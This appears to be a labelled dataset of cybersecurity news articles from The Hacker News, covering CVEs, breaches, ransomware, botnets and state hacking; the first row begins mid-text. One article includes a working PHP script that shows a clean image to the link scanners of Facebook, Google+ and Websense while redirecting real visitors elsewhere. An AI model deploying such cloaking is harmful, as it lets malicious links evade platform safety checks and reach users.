Therefore, usage of HTTPS-based websites would block such kinds of attacks, so users are advised only to stick to SSL sites.

Delivering the illegit content, or redirecting the crowd to stash the cash would end up losing the public trust on the technologies.

",Malware
Google Does It Again: Discloses Unpatched Microsoft Edge and IE Vulnerability,https://thehackernews.com/2017/02/google-microsoft-edge-bug.html,"This month has yet been kind of interesting for cyber security researchers, with Google successfully cracked SHA1 and the discovery of Cloudbleed bug in Cloudflare that caused the leakage of sensitive information across sites hosted behind Cloudflare.

Besides this, Google last week disclosed an unpatched vulnerability in Windows Graphics Device Interface (GDI) library, which affects Microsoft's Windows operating systems ranging from Windows Vista Service Pack 2 to the latest Windows 10.

While the Windows vulnerability has yet to be patched by the company, Google today released the details of another unpatched Windows security flaw in its browser, as Microsoft did not act within its 90-day disclosure deadline.

The vulnerability (CVE-2017-0037), discovered and disclosed by Google Project Zero team's researcher Ivan Fratric, is a so-called ""type confusion flaw"" in a module in Microsoft Edge and Internet Explorer that potentially leads to arbitrary code execution.

Proof-of-Concept Code Released!

This time, with the details of this arbitrary code execution bug, the researcher has also published a proof-of-concept exploit that can crash Edge and IE, opening the door for potential hackers to execute code and gain administrator privileges on the affected systems.

Fratric says he successfully ran his PoC code on the 64-bit version of IE on Windows Server 2012 R2, but both 32-bit IE 11, as well as Microsoft Edge, is affected by the same vulnerability.

In short, the vulnerability affects all Windows 7, Windows 8.1, and Windows 10 users.

You can know more details about the recently disclosed flaw on Google's bug report blog, along with proof-of-concept code that causes a crash of the browsers, though sophisticated hackers can build more dangerous exploits as well.

This vulnerability was reported to Microsoft on November 25, and it went public on February 25, after Google Project Zero's 90-day disclosure policy.

Three Unpatched, but Already Disclosed Windows Flaws

While Microsoft has delayed this month's Patch Tuesday and already has to patch two already disclosed, but unpatched vulnerabilities, it is hard to say if the company actually included a patch for this vulnerability discovered by Google in its next roll out of patches.

Yes, Microsoft has to patch two other severe security flaws as well, which have already been publicly disclosed with working exploit code but remain still unpatched, giving hackers enough time to target Windows users.

First one is a Windows SMB flaw that affects Windows 8, Windows 10 and Windows Server. The PoC exploit code of this flaw was released almost two weeks ago.

The other one is the vulnerability disclosed by Google last week that affects Microsoft's Windows operating systems ranging from Windows Vista Service Pack 2 to the latest Windows 10.

Meanwhile, just to remain on the safer side, Windows users are advised to replace their Internet Explorer and Edge browsers with a different one if possible and avoid clicking on suspicious links and websites they do not trust.

",Vulnerability
Hackers Steal $19 Million From Bithumb Cryptocurrency Exchange,https://thehackernews.com/2019/03/bithumb-cryptocurrency-hacked.html,"Hackers yesterday stole nearly $19 million worth of cryptocurrency from Bithumb, the South Korea-based popular cryptocurrency exchange admitted today.

According to Primitive Ventures' Dovey Wan, who first broke the information on social media, hackers managed to compromise a number of Bithumb's hot EOS and XRP wallets and transferred around 3 million EOS (~ $13 million) and 20 million XRP (~ $6 million) to his newly-created accounts.

The hacker then distributedly transferred the stolen digital assets to his different accounts created on other cryptocurrency exchanges, including Huobi, HitBTC, WB, and EXmo, via ChangeNow, a non-custodial crypto swap platform does not require KYC/account.

Bithumb has been hacked multiple times in the past. Last time the popular cryptocurrency exchange was hacked in June 2018, when hackers stole $31 million, and in July 2017, when hackers stole $1 million worth of EOS from many wallets belonging to its users.

""And this is the second time Bithumb saw a MAJOR hack, last time it was hacked with a loss over $30m.. lol and after the first hack it was STILL able to get the fiat license from Korea and WTF??"" Wan says on Twitter.


It has been reported that the private key for the EOS hot wallet account belonging to Bithumb was stolen (address g4ydomrxhege), which allowed the hacker to transfer the funds to his address, ""ifguz3chmamg.""

The above image shared by Changpeng Zhao, CEO of Binance cryptocurrency exchange, explains how hacker distributed his funds after stealing it from Bithumb.

Here's how the hacker distributed and transferred the stolen funds to his accounts on different exchanges:

EXMO: 662,600
Huobi: 263,605
Changelly 143,511
KuCoin: 96,270
CoinSwitch: 38,725

According to a blog post published by the company today, Bithumb is still investigating the hack, which it believes was performed with the help of an insider, and has reported the breach incident to security firm Korea Internet and Security Agency (KISA) and cyber police.

""We deeply apologize to our members for delaying the cryptocurrency deposit and withdrawal service,"" Bithumb said.

""As a result of the inspection, it is judged that the incident is an accident involving insiders because the external intrusion path has not been revealed until now. Based on the facts, we are conducting intensive investigations with KISA, Cyber Police Agency and security companies.""

Meanwhile, Bithumb said the company is working with major cryptocurrency exchanges and foundations in hope to recover the loss of the cryptocurrency equivalent.

Last year when the exchange was hacked and lost $30 million in EOS, it managed to recover half of the stolen funds.

Would Bithumb be able to do the same this time?

",Data_Breaches
Facebook content restrictions bypass Vulnerability,https://thehackernews.com/2011/10/facebook-content-restrictions-bypass.html,"Facebook content restrictions bypass Vulnerability
Blackhat Academy claims to have found a way to bypass content restrictions on links, as posted on their site and posts put on a user's public wall. Even Security Analysts claim that Facebook was notified of these vulnerabilities on July 31st, 2011. To date (October 4, 2011), Facebook has yet to do anything about this.

Facebook has only recently purchased Websense to attempt to push this vulnerability under the rug, however the exploit still works.To access Facebook's FQL API, Facebook was even so kind as to give a reference of tables and columns in the documentation for FQL. FQL does not allow the use of JOINS, however it is not needed as everything is thoroughly documented. Attackers can misuse this during the creation of a malicious Facebook application or directly on the FQL development api page for information gathering. :

<?php
# User agent checking methods
$fb_string = '/facebookexternal/i'; # facebookexternal shows in the facebook content scanner's user agent
$gplus_string = '/Feedfetcher-Google/i'; # googleplus shows up in the user agent as well.
# rDNS Lookup Methods
$host_websense = '/websense.com/i'; # Checking the rdns for websense filters
$host_fb = '/tfbnw.net/i'; # Checking the rdns for tfbnw.net - facebook host
# Load the request properties
$u_agent = $_SERVER['HTTP_USER_AGENT'];
$u_ref = $_SERVER['HTTP_REFERER'];
$u_host = gethostbyaddr($_SERVER['REMOTE_ADDR']);
# If we're coming from or facebook or websense or google plus,
if (preg_match($host_fb,$u_host) || preg_match($host_websense,$u_host) || preg_match($fb_string,$u_agent) || preg_match($gplus_string,$u_agent)) {
# Display an image
header('Content-Type: image/jpeg');
@readfile ('/var/www/localhost/cute_kitten.jpeg');
} else {
# Rickroll this unsuspecting user
header('Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ&ob=av3e');
}
?>

While most major sites that allow link submission are vulnerable to this method, sites including Websense, Google+, and Facebook make the requests easily identifiable. These sites send an initial request to the link in order to store a mirror thumbnail of the image, or a snapshot of the website being linked. In doing so, many use a custom user agent, or have IP addresses that resolve to a consistent domain name. Facebook IP addresses resolve to tfbnw.net, also set a custom user agent of ""facebookexternalhit"".Google+ (also notified Jul. 31st and guilty of reasonable care) again follows suit and utilizes ""Feedfetcher-Google"" as their user agent. Knowing this, we can easily filter out requests coming from these websites, and offer up a legitimate image to be displayed on their site, while redirecting or displaying a completely different page to anyone that follows the links. Facebook's recent partnership with Websense is laughable, due to Websense's ""ACE"" security scanner that is just as easily identified, by using gethostbyaddr in order to resolve the IP back to websense.com. Utilizing this technique would allow an overwhelming number of malware sites to remain undetected to their automatic site analysis. Other places like digg.com either spoof a user agent to look like normal traffic, or forward the client's user agent, which makes it more difficult to catch every one of their requests. Fortunately, digg.com only requests the link once, prior to submitting the link to the world. This allows attackers to serve up a legitimate image until that initial request clears our server, and then replace it with a less than honest file. We have affectionately named this vulnerability class Cross-Site Content Forgery.Proof of Concept can be seen here.

Submitted By : Blackhat Academy

",Vulnerability
Windows Remote Assistance Exploit Lets Hackers Steal Sensitive Files,https://thehackernews.com/2018/03/window-remote-assistance.html,"You have always been warned not to share remote access to your computer with untrusted people for any reason—it's a basic cybersecurity advice, and common sense, right?

But what if, I say you should not even trust anyone who invites or offer you full remote access to their computers.

A critical vulnerability has been discovered in Microsoft's Windows Remote Assistance (Quick Assist) feature that affects all versions of Windows to date, including Windows 10, 8.1, RT 8.1, and 7, and allows remote attackers to steal sensitive files on the targeted machine.

Windows Remote Assistance is a built-in tool that allows someone you trust to take over your PC (or you to take remote control of others) so they can help you fix a problem from anywhere around the world.

The feature relies on the Remote Desktop Protocol (RDP) to establish a secure connection with the person in need.

However, Nabeel Ahmed of Trend Micro Zero Day Initiative discovered and reported an information disclosure vulnerability (CVE-2018-0878) in Windows Remote Assistance that could allow attackers to obtain information to further compromise the victim's system.

The vulnerability, which has been fixed by the company in this month's patch Tuesday, resides in the way Windows Remote Assistance processes XML External Entities (XXE).

The vulnerability affects Microsoft Windows Server 2016, Windows Server 2012 and R2, Windows Server 2008 SP2 and R2 SP1, Windows 10 (both 32- and 64-bit), Windows 8.1 (both 32- and 64-bit) and RT 8.1, and Windows 7 (both 32- and 64-bit).

Exploiting Windows Remote Assistance to Steal Files
Since a security patch for this vulnerability is now available, the researcher has finally released technical details and proof-of-concept exploit code for the flaw to the public.

In order to exploit this flaw, which resides in MSXML3 parser, the hacker needs to use ""Out-of-Band Data Retrieval"" attack technique by offering the victim access to his/her computer via Windows Remote Assistance.

While setting up Windows Remote Assistance, the feature gives you two options—Invite someone to help you and Respond to someone who needs help.

Selecting the first option helps users generate an invitation file, i.e. 'invitation.msrcincident,' which contains XML data with a lot of parameters and values required for authentication.
Since the parser does not properly validate the content, the attacker can simply send a specially crafted Remote Assistance invitation file containing a malicious payload to the victim, tricking the targeted computer to submit the content of specific files from known locations to a remote server controlled by the attackers.
""The stolen information could be submitted as part of the URL in HTTP request(s) to the attacker. In all cases, an attacker would have no way to force a user to view the attacker-controlled content. Instead, an attacker would have to convince a user to take action,"" Microsoft explains.
""This XXE vulnerability can be genuinely used in mass scale phishing attacks targeting individuals believing they are truly helping another individual with an IT problem. Totally unaware that the .msrcincident invitation file could potentially result in loss of sensitive information,"" Ahmed warns.
Among patching other critical vulnerabilities fixed this month, Windows users are highly recommended to install the latest update for Windows Remote Assistance as soon as possible.

",Vulnerability
Hackers Threaten to Leak D.C. Police Informants' Info If Ransom Is Not Paid,https://thehackernews.com/2021/04/hackers-threaten-to-leak-dc-police.html,"The Metropolitan Police Department (MPD) of the District of Columbia has become the latest high-profile government agency to fall victim to a ransomware attack.
The Babuk Locker gang claimed in a post on the dark web that they had compromised the DC Police's networks and stolen 250 GB of unencrypted files. Screenshots shared by the group, and seen by The Hacker News, include various folders containing what appears to be investigation reports, arrests, disciplinary actions, and other intelligence briefings.
Also called the DC Police, the MPD is the primary law enforcement agency for the District of Columbia in the U.S.
The ransomware gang has given the department three days to heed to their ransom demand or risk leaking sensitive files that could expose police informants to criminal gangs.
""Hello! Even an institution such as DC can be threatened, we have downloaded a sufficient amount of information from your internal networks, and we advise you to contact us as soon as possible, to prevent leakage, if no response is received within 3 days, we will start to contact gangs in order to drain the informants, we will continue to attack the state sector of the usa, fbi csa, we find 0 day before you, even larger attacks await you soon,"" the ransomware group said on their data leak site.
Babuk Locker is a relative newcomer in the ransomware landscape, with the group targeting transportation, healthcare, plastic, electronics, and agricultural sectors across the U.S., U.K., U.A.E., China, India, South Africa, Spain, Germany, and Italy at least since the beginning of 2021. The syndicate is also known for attacking Linux-based systems such as VMware ESXi.
""The Babuk gang highlighted the key problem that all organizations face when confronting threats, and that is speed,"" Cymulate CTO Avihai Ben-Yossef said. ""The time it takes for known vulnerabilities to get patched on all systems is too long. Defenders that rely on manual security testing methodologies are unable to match the pace of threat actors in finding security gaps and fixing them.""

",Cyber_Attack
Lenovo Caught Using Rootkit to Secretly Install Unremovable Software,https://thehackernews.com/2015/08/lenovo-rootkit-malware.html,"Two years ago Chinese firm Lenovo got banned from supplying equipment for networks of the intelligence and defense services various countries due to hacking and spying concerns.

Earlier this year, Lenovo was caught red-handed for selling laptops pre-installed with Superfish malware.

One of the most popular Chinese computer manufacturers 'Lenovo' has been caught once again using a hidden Windows feature to preinstall unwanted and unremovable rootkit software on certain Lenovo laptop and desktop systems it sells.

The feature is known as ""Lenovo Service Engine"" (LSE) – a piece of code presents into the firmware on the computer's motherboard.

If Windows is installed, the LSE automatically downloads and installs Lenovo's own software during boot time before the Microsoft operating system is launched, overwriting Windows operating system files.

More worrisome part of the feature is that it injects software that updates drivers, firmware, and other pre-installed apps onto Windows machine – even if you wiped the system clean.

So even if you uninstall or delete the Lenovo's own software programs, the LSE hidden in the firmware will automatically bring them back as soon as you power-on or reboot your machine.

Users at a number of online forums are criticizing Lenovo for this move and suspecting that the Chinese computer maker has installed a ""bootkit"" that survives a full system wipe-and-reinstall.

The issue was first discovered and reported by users back in May when using new Lenovo laptops but was widely reported Tuesday.

What these Unwanted Program Does?

For Desktops:
In case of desktops, Lenovo's own description states that the software doesn't send any personally identifying information, but sends some basic information, including the system model, date, region, and system ID, to a Lenovo server.

Moreover, the company claims that this process is done only one-time, sending the information to its server only when a machine first connects to the Internet.

For Laptops:
However, in case of Laptops, the software does rather more. LSE installs a software program called OneKey Optimizer (OKO) that bundles on many Lenovo laptops.
According to the company, the OKO software is used for enhancing computer performance by ""updating the firmware, drivers, and pre-installed apps"" as well as ""scanning junk files and find factors that influence system performance.""
OneKey Optimizer falls under the category of ""crapware"". The worst part is that both LSE as well as OKO appears to be insecure.

Back in April, security researcher Roel Schouwenberg reported some security issues, including buffer overflows and insecure network connections, to Lenovo and Microsoft.

This forced Lenovo to stop including LSE on its new systems that built since June. The company has also provided firmware updates for vulnerable laptops and issued instructions to disable the option on affected machines and clean up the LSE files.

Among others, many Flex and Yoga machines running an operating system including Windows 7, Windows 8, and Windows 8.1 are affected by this issue. You can see the full list of affected notebooks and desktops on Lenovo's website.

Lenovo has since released an official statement, which notes that the systems made from June onwards have BIOS firmware that eliminates the issue, and it's no longer installing Lenovo Service Engine on PCs.

Expert way! How to Remove Lenovo Service Engine (Rootkit)

In order to remove LSE from your affected machines, you have to do it manually. Follow these simple steps in order to do so:
Know your System Type (whether it's a 32-bit or 64-bit version of Windows)
Browse to the Lenovo Security Advisory, and select the link for your specific Lenovo machine.
Click the ""Date"" button for the most recent update.
Search for ""Lenovo LSE Windows Disabler Tool"" and Click the download icon next to the version that matches your version of Windows.
Open the program once it downloads. It will remove the LSE software.

",Malware
Microsoft Says Its Systems Were Also Breached in Massive SolarWinds Hack,https://thehackernews.com/2020/12/microsoft-says-its-systems-were-also.html,"The massive state-sponsored espionage campaign that compromised software maker SolarWinds also targeted Microsoft, as the unfolding investigation into the hacking spree reveals the incident may have been far more wider in scope, sophistication, and impact than previously thought.
News of Microsoft's compromise was first reported by Reuters, which also said the company's own products were then used to strike other victims by leveraging its cloud offerings, citing people familiar with the matter.
The Windows maker, however, denied the threat actor had infiltrated its production systems to stage further attacks against its customers.
In a statement to The Hacker News via email, the company said —
""Like other SolarWinds customers, we have been actively looking for indicators of this actor and can confirm that we detected malicious SolarWinds binaries in our environment, which we isolated and removed. We have not found evidence of access to production services or customer data. Our investigations, which are ongoing, have found absolutely no indications that our systems were used to attack others.""
Characterizing the hack as ""a moment of reckoning,"" Microsoft president Brad Smith said it has notified over 40 customers located in Belgium, Canada, Israel, Mexico, Spain, the UAE, the UK, and the US that were singled out by the attackers. 44% of the victims are in the information technology sector, including software firms, IT services, and equipment providers.
CISA Issues New Advisory
The development comes as the US Cybersecurity and Infrastructure Security Agency (CISA) published a fresh advisory, stating the ""APT actor [behind the compromises] has demonstrated patience, operational security, and complex tradecraft in these intrusions.""
""This threat poses a grave risk to the Federal Government and state, local, tribal, and territorial governments as well as critical infrastructure entities and other private sector organizations,"" it added.
But in a twist, the agency also said it identified additional initial infection vectors, other than the SolarWinds Orion platform, that have been leveraged by the adversary to mount the attacks, including a previously stolen key to circumvent Duo's multi-factor authentication (MFA) to access the mailbox of a user via Outlook Web App (OWA) service.
Digital forensics firm Volexity, which tracks the actor under the moniker Dark Halo, said the MFA bypass was one of the three incidents between late 2019 and 2020 aimed at a US-based think tank.
The entire intrusion campaign came to light earlier this week when FireEye disclosed it had detected a breach that also pilfered its Red Team penetration testing tools.
Since then, a number of agencies have been found to be attacked, including the US departments of Treasury, Commerce, Homeland Security, and Energy, the National Nuclear Security Administration (NNSA), and several state department networks.
While many details continue to remain unclear, the revelation about new modes of attack raises more questions about the level of access the attackers were able to gain across government and corporate systems worldwide.
Microsoft, FireEye, and GoDaddy Create a Killswitch
Over the last few days, Microsoft, FireEye, and GoDaddy seized control over one of the main GoDaddy domains — avsvmcloud[.]com — that was used by the hackers to communicate with the compromised systems, reconfiguring it to create a killswitch that would prevent the SUNBURST malware from continuing to operate on victims' networks.
For its part, SolarWinds has not yet disclosed how exactly the attacker managed to gain extensive access to its systems to be able to insert malware into the company's legitimate software updates.
Recent evidence, however, points to a compromise of its build and software release system. An estimated 18,000 Orion customers are said to have downloaded the updates containing the back door.
Symantec, which earlier uncovered more than 2,000 systems belonging to 100 customers that received the trojanized SolarWinds Orion updates, has now confirmed the deployment of a separate second-stage payload called Teardrop that's used to install the Cobalt Strike Beacon against select targets of interest.
The hacks are believed to be the work of APT29, a Russian threat group also known as Cozy Bear, which has been linked to a series of breaches of critical US infrastructure over the past year.
The latest slew of intrusions has also led CISA, the US Federal Bureau of Investigation (FBI), and the Office of the Director of National Intelligence (ODNI) to issue a joint statement, stating the agencies are gathering intelligence in order to attribute, pursue, and disrupt the responsible threat actors.
Calling for stronger steps to hold nation-states accountable for cyberattacks, Smith said the attacks represent ""an act of recklessness that created a serious technological vulnerability for the United States and the world.""
""In effect, this is not just an attack on specific targets, but on the trust and reliability of the world's critical infrastructure in order to advance one nation's intelligence agency,"" he added.

",Data_Breaches
Warning! Over 900 Million Android Phones Vulnerable to New 'QuadRooter' Attack,https://thehackernews.com/2016/08/hack-android-phone.html,"Android has Fallen! Yet another set of Android security vulnerabilities has been discovered in Qualcomm chipsets that affect more than 900 Million Android smartphones and tablets worldwide.

What's even worse: Most of those affected Android devices will probably never be patched.

Dubbed ""Quadrooter,"" the set of four vulnerabilities discovered in devices running Android Marshmallow and earlier that ship with Qualcomm chip could allow an attacker to gain root-level access to any Qualcomm device.

The chip, according to the latest statistics, is found in more than 900 Million Android tablets and smartphones.

That's a very big number.

The vulnerabilities have been disclosed by a team of Check Point researchers at the DEF CON 24 security conference in Las Vegas.

Critical Quadrooter Vulnerabilities:

The four security vulnerabilities are:
CVE-2016-2503 discovered in Qualcomm's GPU driver and fixed in Google's Android Security Bulletin for July 2016.
CVE-2016-2504 found in Qualcomm GPU driver and fixed in Google's Android Security Bulletin for August 2016.
CVE-2016-2059 found in Qualcomm kernel module and fixed in April, though patch status is unknown.
CVE-2016-5340 presented in Qualcomm GPU driver and fixed, but patch status unknown.
Qualcomm is the world's leading designer of LTE (Long Term Evolution) chipsets with a 65% share of the LTE modem baseband market. If any one of the four flaws is exploited, an attacker can trigger privilege escalations for gaining root access to an affected device.

All an attacker needs is to write a piece of malware and send it to the victim. When installed, the malware offers the attacker privilege escalation on the affected devices.

According to the researchers, the attack can also be conducted through a malicious app. An attacker needs to trick a user into installing a malicious app that, unlike other malware, would execute without requiring any special permission checks.
""Such an app would require no special permissions to take advantage of these vulnerabilities, alleviating any suspicion users may have when installing,"" Check Point researchers write in a blog post.
If any of the four vulnerabilities are successfully exploited, an attacker could gain root access to an affected device, giving the attacker full access to the device, including its data, camera and microphone.

List of Affected Devices (Popular)
More than 900 Million Android devices that ship with Qualcomm chip are vulnerable to the flaws.

Here's the list of some of the popular affected devices, though there are far more devices that are impacted by one or more Quadrooter vulnerabilities.
Samsung Galaxy S7 and Samsung S7 Edge
Sony Xperia Z Ultra
OnePlus One, OnePlus 2 and OnePlus 3
Google Nexus 5X, Nexus 6 and Nexus 6P
Blackphone 1 and Blackphone 2
HTC One, HTC M9 and HTC 10
LG G4, LG G5, and LG V10
New Moto X by Motorola
BlackBerry Priv
How to Check if Your Device is Vulnerable?

You can check if your smartphone or tablet is vulnerable to Quadrooter attack using Check Point's free app.

Since the vulnerable software drivers, which control communication between Qualcomm chipset components, come pre-installed on these devices at the time of manufacturing, they can only be fixed by installing a patch from the devices' distributors or carriers after receiving fixed driver packs from Qualcomm.
""This situation highlights the inherent risks in the Android security model,"" the researchers say. ""Critical security updates must pass through the entire supply chain before they can be made available to end users.""
Three of the four vulnerabilities have already been fixed in Google's latest set of monthly security updates, and a patch for the remaining flaw will be rolled out in the upcoming September update.

Since Qualcomm has already released the code, the phone manufacturers could be able to issue patches to the individual devices as soon as possible.

Android Nexus devices are already patched via the over-the-air updates, but other smartphone models will need to wait until their lazy phone manufacturers integrate the fixes into their own custom Android ROMs.

",Malware
10 Critical Flaws Found in CODESYS Industrial Automation Software,https://thehackernews.com/2021/06/10-critical-flaws-found-in-codesys.html,"Cybersecurity researchers on Thursday disclosed as many as ten critical vulnerabilities impacting CODESYS automation software that could be exploited to achieve remote code execution on programmable logic controllers (PLCs).
""To exploit the vulnerabilities, an attacker does not need a username or password; having network access to the industrial controller is enough,"" researchers from Positive Technologies said. ""The main cause of the vulnerabilities is insufficient verification of input data, which may itself be caused by failure to comply with the secure development recommendations.""
The Russian cybersecurity firm noted that it detected the vulnerabilities on a PLC offered by WAGO, which, among other automation technology companies such as Beckhoff, Kontron, Moeller, Festo, Mitsubishi, and HollySys, use CODESYS software for programming and configuring the controllers.
CODESYS offers a development environment for programming controller applications for use in industrial control systems. The German software company credited Vyacheslav Moskvin, Denis Goryushev, Anton Dorfman, Ivan Kurnakov, and Sergey Fedonin of Positive Technologies and Yossi Reuven of SCADAfence for reporting the flaws.
Six of the most severe flaws were identified in the CODESYS V2.3 web server component used by CODESYS WebVisu to visualize a human-machine interface (HMI) in a web browser. The vulnerabilities could potentially be leveraged by an adversary to send specially-crafted web server requests to trigger a denial-of-service condition, write or read arbitrary code to and from a control runtime system's memory, and even crash the CODESYS web server.
All the six bugs have been rated 10 out of 10 on the CVSS scale —
CVE-2021-30189 - Stack-based Buffer Overflow
CVE-2021-30190 - Improper Access Control
CVE-2021-30191 - Buffer Copy without Checking Size of Input
CVE-2021-30192 - Improperly Implemented Security Check
CVE-2021-30193 - Out-of-bounds Write
CVE-2021-30194 - Out-of-bounds Read
Separately, three other weaknesses (CVSS scores: 8.8) disclosed in the Control V2 runtime system could be abused to craft malicious requests that may result in a denial-of-service condition or being utilized for remote code execution.
CVE-2021-30186 - Heap-based Buffer Overflow
CVE-2021-30188 - Stack-based Buffer Overflow
CVE-2021-30195 - Improper Input Validation
Lastly, a flaw found in the CODESYS Control V2 Linux SysFile library (CVE-2021-30187, CVSS score: 5.3) could be used to call additional PLC functions, in turn allowing a bad actor to delete files and disrupt critical processes.
""An attacker with low skills would be able to exploit these vulnerabilities,"" CODESYS cautioned in its advisory, adding it found no known public exploits that specifically target them.
""Their exploitation can lead to remote command execution on PLC, which may disrupt technological processes and cause industrial accidents and economic losses,"" said Vladimir Nazarov, Head of ICS Security at Positive Technologies. ""The most notorious example of exploiting similar vulnerabilities is by using Stuxnet.""
The disclosure of the CODESYS flaws comes close on the heels of similar issues that were addressed in Siemens SIMATIC S7-1200 and S7-1500 PLCs that could be exploited by attackers to remotely gain access to protected areas of the memory and achieve unrestricted and undetected code execution.

",Vulnerability
"Hajime 'Vigilante Botnet' Growing Rapidly; Hijacks 300,000 IoT Devices Worldwide",https://thehackernews.com/2017/04/vigilante-hacker-iot-botnet_26.html,"Last week, we reported about a so-called 'vigilante hacker' who hacked into at least 10,000 vulnerable 'Internet of Things' devices, such as home routers and Internet-connected cameras, using a botnet malware in order to supposedly secure them.

Now, that vigilante hacker has already trapped roughly 300,000 devices in an IoT botnet known as Hajime, according to a new report published Tuesday by Kaspersky Lab, and this number will rise with each day that passes by.

The IoT botnet malware was emerged in October 2016, around the same time when the infamous Mirai botnet threatened the Internet last year with record-setting distributed denial-of-service (DDoS) attacks against the popular DNS provider Dyn.

How the Hajime IoT Botnet Works

Hajime botnet works much like Mirai by spreading itself via unsecured IoT devices that have open Telnet ports and uses default passwords and also uses the same list of username and password combinations that Mirai is programmed to use.

However, the interesting part of Hajime botnet is that, unlike Mirai, once Hajime infects an IoT devices, it secures the devices by blocking access to four ports (23, 7547, 5555, and 5358) known to be the most widely used vectors for infecting IoT devices, making Mirai or other threats out of their bay.

Hajime also uses a decentralized peer-to-peer network (instead of command-and-control server) to issue updates to infected devices, making it more difficult for ISPs and Internet providers to take down the botnet.

One of the most interesting things about Hajime is the botnet also displays a cryptographically signed message every 10 minutes or so on infected device terminals, describing its creators as ""just a white hat, securing some systems.""

Unlike Mirai and other IoT botnets, Hajime lacks DDoS capabilities and other hacking skills except for the propagation code that lets one infected IoT device search for other vulnerable devices and infects them.

But What if…?

What's not known is: What the Hajime Botnet is for? or Who is behind it?
""The most intriguing thing about Hajime is its purpose,"" says Kaspersky security researchers. ""While the botnet is getting bigger and bigger, partly due to new exploitation modules, its purpose remains unknown. We haven't seen it being used in any type of attack or malicious activity, adding that ""its real purpose remains unknown.""
Also, the researchers believe that this might not happen, because Hajime botnet takes steps to hide its running processes and files on the file system, making the detection of infected systems more difficult.

So far, the purpose behind building this botnet is not entirely clear, but all signs yet point to a possible white-hat hacker, who is on his/her mission to secure open and vulnerable systems over the Internet.

However, the most concerning issue of all — Is there any guarantee that the Hajime author will not add attack capabilities to the worm to use the hijacked devices for malicious purposes?

Maybe today the Hajime author is in the mission to secure the world, but tomorrow, when he would realize he could make money online by renting his/her botnet to others, he could be another Adam Mudd.

Mudd, a 19-year-old teenager, has recently been sentenced to 2 years in prison for creating and running a DDoS-for-hire service called 'Titanium Stresser' that made more than 1.7 million victims of DDoS attacks since 2013.

Secondly, What if the well-intentioned botnet is hijacked by some malicious actor?

If this happens, the vigilant IoT botnet could be used for malicious purposes, such as conducting DDoS attacks against online sites and services, spreading malware, or instantly bricking the infected devices at one click.

Radware researchers also believe that the flexible and extensible nature of the Hajime botnet can be used for malicious purposes, like those mentioned above and conducting real-time mass surveillance from Internet-connected webcams, according to a new threat advisory published Wednesday by Radware.

Last but not the least: Do we seriously need some vigilante hackers to protect our devices and network?

This solution could be temporary, trust me. For example, the latest Hajime botnet is nothing but a band-aid.

Since Hajime has no persistence mechanism, as soon as the infected device is rebooted, it goes back to its previously unsecured state, with default passwords and the Telnet port open to the world.

How to Protect your IoT devices?

The only true solution is You — Instead of just sitting over there, doing nothing and waiting for some vigilante hackers to do miracles, you can protect your IoT devices in a way Hajime or any well-intentioned botnet can't do.

So go and update the firmware of your devices, change their default passwords, put them behind a firewall, and if any device is by default vulnerable and cannot be updated, throw it and buy a new one.

Just keep in mind: Once a single IoT of yours gets compromised, your whole network falls under risk of getting compromised and so all your devices which are connected to that network.

",Malware
U.S. Announces Charges Against 2 Russian and 2 Iranian Hackers,https://thehackernews.com/2020/09/us-announces-charges-against-2-russian.html,"Immediately after revealing criminal charges against 5 Chinese and 2 Malaysian hackers, the United States government yesterday also made two separate announcements charging two Iranian and two Russian hackers and added them to the FBI's most-wanted list.
The two Russian nationals—Danil Potekhin and Dmitrii Karasavidi—are accused of stealing $16.8 million worth of cryptocurrencies in a series of phishing attacks throughout 2017 and 2018.
""This tactic used a combination of phishing and spoofing to exploit Internet users' trust in known companies and organizations to fraudulently obtain their login credentials, including email addresses, password information, and other personal information,"" the DoJ said.
In addition to the criminal charges, the U.S. Department of the Treasury has also sanctioned both Russian hackers, freezing all their assets under U.S. jurisdiction and banning them from doing business with Americans.
""Karasavidi laundered the proceeds of the attacks into an account in his name. He attempted to conceal the nature and source of the funds by transferring them in a layered and sophisticated manner through multiple accounts and multiple virtual currency blockchains. Ultimately, the stolen virtual currency was traced to Karasavidi's account, and millions of dollars in virtual currency and U.S. dollars was seized in a forfeiture action by the United States Secret Service,"" the U.S. Department of the Treasury explained.
Whereas, both two Iranian nationals—Mehdi Farhadi and Hooman Heidarian—are allegedly involved in government-linked hacking operations and have stolen hundreds of terabytes of sensitive data from several targeted organizations.
According to an indictment unsealed by the Justice Department, since 2013, Iranian hackers have targeted several American and foreign universities, think tanks, defense contractors, aerospace companies, foreign policy organizations, NGOs, and foreign governments.
""In some instances, the defendants' [Iranian] hacks were politically motivated or at the behest of Iran, including instances where they obtained information regarding dissidents, human rights activists, and opposition leaders,"" the indictment says.
""In other instances, the defendants sold the hacked data and information on the black market for private financial gain.""
After selecting their victims using online reconnaissance and publicly available data, the hackers run vulnerability scanning tools and other means to assess computer networks remotely.
""The defendants gained and maintained unauthorized access to victim networks using various tools, including session hijacking, SQL injection, and malicious programs.""
""The defendants then used key-loggers and ""remote access Trojans"" to maintain access and monitor the actions of users of the victim networks.""
All four hackers remain at large, likely in their respective countries, and have been charged with several counts of conspiracy to commit fraud, unauthorized access, wire fraud, identity theft, and related activity in connection with computers

",Cyber_Attack
Chinese Hackers Used Facebook to Hack Uighur Muslims Living Abroad,https://thehackernews.com/2021/03/chinese-hackers-used-facebook-to-hack.html,"Facebook may be banned in China, but the company on Wednesday said it has disrupted a network of bad actors using its platform to target the Uyghur community and lure them into downloading malicious software that would allow surveillance of their devices.
""They targeted activists, journalists and dissidents predominantly among Uyghurs from Xinjiang in China primarily living abroad in Turkey, Kazakhstan, the United States, Syria, Australia, Canada and other countries,"" Facebook's Head of Cyber Espionage Investigations, Mike Dvilyanski, and Head of Security Policy, Nathaniel Gleicher, said. ""This group used various cyber espionage tactics to identify its targets and infect their devices with malware to enable surveillance.""
The social media giant said the ""well-resourced and persistent operation"" aligned with a threat actor known as Evil Eye (or Earth Empusa), a China-based collective known for its history of espionage attacks against the Muslim minority in the nation at least since August 2019 via ""strategically compromised websites"" by exploiting iOS and Android devices as an attack surface to gain access to Gmail accounts.
The disclosures come days after the European Union, U.K., U.S., and Canada jointly announced sanctions against several senior officials in China over human rights abuses against Uyghurs in the Chinese province of Xinjiang.
Evil Eye is said to have resorted to a multifaceted approach to stay under and conceal its malicious intent by posing as journalists, students, human rights advocates, or members of the Uyghur community to build trust with targeted victims before drawing them into clicking on malicious links.
